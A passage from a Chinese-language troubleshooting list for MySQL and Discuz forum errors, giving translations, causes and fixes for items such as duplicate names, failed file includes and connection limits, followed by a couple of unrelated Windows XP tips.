翻译:不能创建数据库xxx,数据库已经存在 分析:一个mysql下面的数据库名称必须保证唯一性,否则就会有这个错误。 解决:把已经存在的数据库改名或者把将要创建的数据库改名,总之不让他们的名称冲突。 十六、 小结(针对问题 11\12\13\14\15) 此类问题错误提示中都暗藏一个关键词duplicate(重复) 那么对于mysql数据库来说什么东西是不能重复的呢? 数据库 database 同一个数据库下数据表 table 同一个数据表下字段 column 同一个数据表下索引 key 同一个数据表在索引唯一(UNIQUE PRIMARY)的情况下记录中的这些字段不可以重复 十八、Unknown system variable ‘NAMES’ 引用: 翻译:未知的系统变量NAMES 分析:Mysql版本不支持字符集设定,此时强行设定字符集就会出现这个错误。 解决:将sql语句中的SET NAMES ‘xxx’ 语句去掉 十九、 Warning: main(./include/db_.class.php) [function.main]: failed to open stream: No such file or directory in /export/www_site/eqdkp/bbs/install.php on line 417翻译:打开文件(./include/db_.class.php)失败,不是一个文件和目录在/export/www_site/eqdkp/bbs/install.php 417行 分析: 大家仔细看就明白了,标准程序里根本没有 ./include/db_.class.php 这个文件。Install.php和include/common.inc.php 两个文件的调用可能会引起这个错误 require_once DISCUZ_ROOT.’./include/db_‘.$database.’.class.php’;include ‘./include/db_‘.$database.’.class.php’; 这两句分别是common.inc.php和install.php文件中的程序语句,这里当$database = ‘’;那么就会产生上面的错误。 在极特殊可能由于一些未知的原因造成config.inc.php没有被读取成功。 解决: 问题分析清楚了,解决起来很容易,打开./config.inc.php配置好$database 如果config.inc.php确实已经配置正确,请重启web服务器。 二十、 Lost connection to MySQL server during query 翻译:MySQL服务器失去连接在查询期间 分析:远程连接数据库是有时会有这个问题。MySQL服务器在执行一条sql语句的时候失去了连接造成的。 解决:一般不需要怎么去处理,如果频繁的出现那么考虑改善硬件环境。 二十一、halt(DISCUZ_ROOT./include/db_mysql_error.inc.php): failed to open stream: No such file or directory in d:\usr\www\html\discuz_new\include\db_mysql.class.php on line 117翻译:同问题十三 分析:凡是此类(failed to open stream)都是一样的问题,即找不到指定的文件或者无法打开。对于这个问题一般出现在restore.php的使用中,大家注意看 DISCUZ_ROOT./include.db_mysql.inc.php 似乎很熟悉,其实这个根本不是一个合法的地址,程序中的DISCUZ_ROOT是要被它的值所代替,但由于根本就没有定义DISCUZ_ROOT这个常 量,所以DISCUZ_ROOT被当成了字符串直接来用了。 解决:一般情况使用restore.php恢复备份数据是不会有错误产生的,但是如果他的备份本身是由问题的。比如问题十一 。那么只要在restore.php前面添加对DISCUZ_ROOT的定义即可,具体如下: define(‘DISCUZ_ROOT’, ‘./’); 二十二、User ‘red’ has exceeded the ‘max_updates’ resource (current value: 500) 翻译:msql用户red已经超过了’max_updates’(最大更新次数),’max_questions’(最大查询次数),’max_connections’(最大连接数),当前设定为500 分析:在mysql数据库的下有一个库为mysql,它其中有一个表为user 这里面的纪录每一条都对应为一个mysql用户的授权。其中字段max_questions max_updates max_connections 分别记录着最大查询次数 最大更新数 最大连接数,当目前的任何一个参数大于任何一个设定的值就会产生这个错误。 解决:独立主机用户可以直接修改授权表。修改完之后重启mysql或者跟新授权表,进入mysql提示符下执行 FLUSH PRIVILEGES; 记得后面要有分号’;’ 虚拟主机的用户如果总是出现这个问题可找空间商协商解决。 二十三、链接过多,请联系空间商 翻译:达到最大连接数 分析:连接数超过了mysql设置的值 max_connections 和wait_timeout 都有关系。wait_timeout的值越大,连接的空闲等待就越长,这样就会造成当前连接数越大。 解决:修改my.ini的max_connections 和wait_timeout 前者调大后者调小一些。

巧删顽固文件

遇到不能删除的文件时用WinRAR把它压缩。。同时选中压缩后删除。。然后再把压缩包删除即可。。

xp中打开网络邻居一般都比较慢,可以在文件夹选项中,取消自动搜索网络文件夹和打印机选项,这样速度会快些。

0%